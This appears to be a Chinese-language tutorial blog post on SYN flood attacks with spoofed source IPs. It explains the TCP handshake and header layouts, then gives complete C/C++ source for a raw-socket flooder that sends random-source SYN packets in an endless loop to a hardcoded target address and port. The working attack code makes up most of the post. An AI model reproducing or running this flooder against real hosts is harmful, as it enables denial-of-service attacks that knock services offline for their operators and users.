伪造IP地址进行SYN洪水攻击

时间:2022-02-27 17:00:01

在写代码之前我们需要现来理解下TCP/IP的三次握手以及TCP/IP的包头信息,由此我们可以了解SYN洪水攻击的原理。

1.TCP/IP三次握手及SYN攻击原理

    TCP是主机对主机层的传输控制协议,提供可靠的连接服务,采用三次握手确认建立一个连接:

位码即tcp标志位,有6种标示:SYN(synchronous建立联机) ACK(acknowledgement 确认) PSH(push传送) FIN(finish结束) RST(reset重置) URG(urgent紧急)

Sequence number(顺序号码) Acknowledge number(确认号码)

    第一次握手:主机A发送位码为syn=1,随机产生seq number=1234567的数据包到服务器,主机B由SYN=1知道,A要求建立联机;

    第二次握手:主机B收到请求后要确认联机信息,向A发送ack number=(主机A的seq+1),syn=1,ack=1,随机产生seq=7654321的包

    第三次握手:主机A收到后检查ack number是否正确,即第一次发送的seq number+1,以及位码ack是否为1,若正确,主机A会再发送ack number=(主机B的seq+1),ack=1,主机B收到后确认seq值与ack=1则连接建立成功。

    完成三次握手,主机A与主机B开始传送数据。


在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接。
第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SEND状态,等待服务器确认;
第二次握手:服务器收到syn包,必须确认客户的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k),即SYN+ACK包,此时服务器 进入SYN_RECV状态; 第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入 ESTABLISHED状态,完成三次握手。 完成三次握手,客户端与服务器开始传送数据.

实例:

IP 192.168.1.116.3337 > 192.168.1.123.7788: S 3626544836:3626544836
IP 192.168.1.123.7788 > 192.168.1.116.3337: S 1739326486:1739326486 ack 3626544837
IP 192.168.1.116.3337 > 192.168.1.123.7788: ack 1739326487,ack 1

第一次握手:192.168.1.116发送位码syn=1,随机产生seq number=3626544836的数据包到192.168.1.123,192.168.1.123由SYN=1知道192.168.1.116要求建立联机;

第二次握手:192.168.1.123收到请求后要确认联机信息,向192.168.1.116发送ack number=3626544837,syn=1,ack=1,随机产生seq=1739326486的包;

第三次握手:192.168.1.116收到后检查ack number是否正确,即第一次发送的seq number+1,以及位码ack是否为1,若正确,192.168.1.116会再发送ack number=1739326487,ack=1,192.168.1.123收到后确认seq=seq+1,ack=1则连接建立成功。

如果想要进行对服务器的SYN攻击,我们要做的就是发送大量的SYN=1并且伪造了源IP的TCP/IP包,服务器接受到连接请求后会发送上面第二次握手说到的syn确认包并进入SYN_RECV状态,而我们此时不对这些确认包进行处理,服务器则要花费一定时间等待由此会使正常的连接不被响应,达到我们的攻击目的。

    2.TCP/IP报头分析

TCP报头结构为:

源端口(16

目的端口(16

序列号(32

确认号(32

TCP偏移量(4

保留(6

标志(6

窗口(16

校验和(16

紧急(16

选项(032

数据(可变)

以下代码是UNIX下ip报头的结构体定义

 1 struct iphdr
2 {
3 #if __BYTE_ORDER == __LITTLE_ENDIAN
4 unsigned int ihl:4;
5 unsigned int version:4;
6 #elif __BYTE_ORDER == __BIG_ENDIAN
7 unsigned int version:4;
8 unsigned int ihl:4;
9 #else
10 # error "Please fix <bits/endian.h>"
11 #endif
12 u_int8_t tos;
13 u_int16_t tot_len;
14 u_int16_t id;
15 u_int16_t frag_off;
16 u_int8_t ttl;
17 u_int8_t protocol;
18 u_int16_t check;
19 u_int32_t saddr;
20 u_int32_t daddr;
21 /*The options start here. */
22 };

以下代码是UNIX下TCP报头的定义

struct tcphdr
{
u_int16_t th_sport;
/* source port */
u_int16_t th_dport;
/* destination port */
tcp_seq th_seq;
/* sequence number */
tcp_seq th_ack;
/* acknowledgement number */
#
if __BYTE_ORDER == __LITTLE_ENDIAN
u_int8_t th_x2:
4; /* (unused) */
u_int8_t th_off:
4; /* data offset */
# endif
#
if __BYTE_ORDER == __BIG_ENDIAN
u_int8_t th_off:
4; /* data offset */
u_int8_t th_x2:
4; /* (unused) */
# endif
u_int8_t th_flags;
# define TH_FIN
0x01
# define TH_SYN
0x02
# define TH_RST
0x04
# define TH_PUSH
0x08
# define TH_ACK
0x10
# define TH_URG
0x20
u_int16_t th_win;
/* window */
u_int16_t th_sum;
/* checksum */
u_int16_t th_urp;
/* urgent pointer */
};

我们需要做的是填充这些报头,其进行校验然后封装成包发向服务器。

                                                                                                                 4.psd.h

/** * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* FAKE TCP HEADER
* FOR CHECKSUM
*
* * * * * ** * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
*/

#ifndef PSD_H
#define PSD_H

#include
<stdint.h>

struct tcp_psd{
uint32_t sourceip;
//源IP地址
uint32_t destip;//目的IP地址
int8_t mbz;//置空(0)
int8_t ptcl;//协议类型(IPPROTO_TCP)
uint16_t tcpl;//TCP头的长度(单位:字节)
};


#endif

                                                                                                                     5.main.cpp

#include <assert.h>
#include
<stdio.h>
#include
<stdint.h>
#include
<stdlib.h>
#include
<string.h>
#include
<time.h>
#include
<arpa/inet.h>
#include
<unistd.h>
#include
<netinet/ip.h>
#include
<netinet/tcp.h>

#include
<sstream>

#include
"psd.h"

#define INVALID_SOCKET -1
#define SOCKET_ERROR -1
#define FAILED -1
#define SUCCESS 0;


typedef
struct iphdr IP_HEADER;
typedef
struct tcphdr TCP_HEADER;
typedef
struct tcp_psd PSD_HEADER;

int BuildPacket(char *buffer, size_t size); //填写TCP包头
int SetPacket(char *buffer, uint32_t addrTarget, uint32_t addrFake, uint16_t id, uint16_t portTarget, uint16_t portFake, uint32_t isn); //修改TCP包头
uint16_t GetCheckSum(uint16_t *buffer, int size); //校验和函数
template <typename T>
T GetRandom();
template
<typename T>
T stringTonum(
char* str);


int main()
{
char *szTargetHost = "10.243.25.55";
char *szTargetPort = "8080";
const int BUFFERSIZE = 2048;

uint32_t daddr
= inet_addr(szTargetHost);
uint16_t dport
= stringTonum<uint16_t>(szTargetPort);

if(daddr == INADDR_NONE
|| dport == 0)
{
return FAILED;
}

dport
= htons(dport);


srand(time(NULL));

int socketRaw = int(NULL);

socketRaw
= socket(PF_INET, SOCK_RAW, IPPROTO_RAW);

if(socketRaw == INVALID_SOCKET)
{
perror(
"Create Socket Failed.");
return FAILED;
}

int flag = 1;
if(setsockopt(socketRaw, IPPROTO_IP, IP_HDRINCL, (char*)&flag,sizeof(int)) == SOCKET_ERROR)
{
perror(
"set socket option IP_HDRINCL failed.");
return FAILED;
}

struct timeval tvTimeOut;
tvTimeOut.tv_sec
= 10;
tvTimeOut.tv_usec
= 0;

if(setsockopt(socketRaw, SOL_SOCKET, SO_SNDTIMEO, (char*)&tvTimeOut, sizeof(struct timeval)) == SOCKET_ERROR)
{
perror(
"set socket option IP_HDRINCL failed.");
return FAILED;
}

char buffer[BUFFERSIZE];

BuildPacket(buffer,
sizeof(buffer));

uint32_t saddr;
uint16_t sport;
uint16_t ipid;
uint32_t isn;



// uint32_t saddr;
// uint16_t sport;
// uint32_t ipid,isn;

struct sockaddr_in ra;
ra.sin_family
= AF_INET;
ra.sin_port
= dport;
ra.sin_addr.s_addr
= daddr;

socklen_t ralen
= sizeof(struct sockaddr_in);
int packetlen = sizeof(IP_HEADER) + sizeof(TCP_HEADER);

while(true)
{
for(int i=0; i< 10*1024; i++)
{
saddr
= GetRandom<uint32_t>();
sport
= GetRandom<uint16_t>();

ipid
= GetRandom<uint32_t>();
isn
= GetRandom<uint32_t>();

SetPacket(buffer,daddr,saddr,ipid,dport,sport,isn);
sendto(socketRaw,buffer,packetlen,
0,(struct sockaddr*)&ra,ralen);
}

puts(
"1024..");
}

close(socketRaw);

return 0;
}

int BuildPacket(char *buffer, size_t size)
{

assert(buffer
!= NULL && size > sizeof(IP_HEADER) + sizeof(TCP_HEADER));

IP_HEADER
*ipHeader;
//PSD_HEADER psdHeader;
TCP_HEADER *tcpHeader;

ipHeader
= (IP_HEADER*)buffer;

ipHeader
->tos = 0;
ipHeader
->ihl = (sizeof(IP_HEADER)/sizeof(int));
ipHeader
->version = 4;
ipHeader
->tot_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));
ipHeader
->protocol = IPPROTO_TCP;
ipHeader
->ttl = 128;
ipHeader
->frag_off = 0;

tcpHeader
= (TCP_HEADER*)(buffer + sizeof(IP_HEADER));
tcpHeader
->ack_seq = 0;
tcpHeader
->doff = (sizeof(TCP_HEADER)/sizeof(int));
tcpHeader
->res1 = 0;
tcpHeader
->res2 = 0;
tcpHeader
->urg = 0;
tcpHeader
->ack = 0;
tcpHeader
->psh = 0;
tcpHeader
->rst = 0;
tcpHeader
->syn = 1;
tcpHeader
->fin = 0;
tcpHeader
->window = htons(0x100);
tcpHeader
->urg_ptr = 0;

return SUCCESS;
}

int SetPacket(char *buffer, uint32_t addrTarget, uint32_t addrFake, uint16_t id, uint16_t portTarget, uint16_t portFake, uint32_t isn)
{

assert(buffer
!= NULL);

char buf[2048];

PSD_HEADER
*psdHeader = (PSD_HEADER *)buf;
TCP_HEADER
*tcpHeader = (TCP_HEADER *)(buf + sizeof(PSD_HEADER));

memcpy(tcpHeader,buffer
+sizeof(IP_HEADER),sizeof(TCP_HEADER));

psdHeader
->mbz = 0;
psdHeader
->sourceip = addrFake;
psdHeader
->destip = addrTarget;
psdHeader
->ptcl = IPPROTO_TCP;
psdHeader
->tcpl = htons(sizeof(TCP_HEADER));

tcpHeader
->source = portFake;
tcpHeader
->dest = portTarget;
tcpHeader
->seq = isn;
tcpHeader
->check = 0;

tcpHeader
->check = GetCheckSum((uint16_t*)buf,sizeof(PSD_HEADER)+sizeof(TCP_HEADER));

memcpy(buffer
+sizeof(IP_HEADER),tcpHeader,sizeof(TCP_HEADER));

IP_HEADER
*ipHeader = (IP_HEADER *)buffer;
ipHeader
->id = id;
ipHeader
->saddr = addrFake;
ipHeader
->daddr = addrTarget;
ipHeader
->check = 0;

ipHeader
->check = GetCheckSum((uint16_t*)buffer,sizeof(IP_HEADER)+sizeof(TCP_HEADER));

return SUCCESS;
}

uint16_t GetCheckSum(uint16_t
*buffer, int size)
{
unsigned
long cksum=0;
while (size > 1)
{
cksum
+= *buffer++;
size
-= sizeof(uint16_t);
}
if (size)
{
cksum
+= *(uint8_t*)buffer;
}
cksum
= (cksum >> 16) + (cksum & 0xffff);
cksum
+= (cksum >>16);
return (uint16_t)(~cksum);
}

template
<typename T>
T stringTonum(
char* str)
{
T rslt
= 0;
std::stringstream ss(str);
ss
>> rslt ;

return rslt;
}


template
<typename T>
T GetRandom()
{
uint32_t rslt
= 0;
rslt
= rand();

switch(sizeof(T))
{
case 4:
//rslt = rslt & 0xFFFFFFFF;
break;
case 2:
rslt
= rslt & 0xFFFF;
break;
case 1:
rslt
= rslt & 0xFF;
break;
default:
assert(
false);
break;
}

return (T) rslt;
}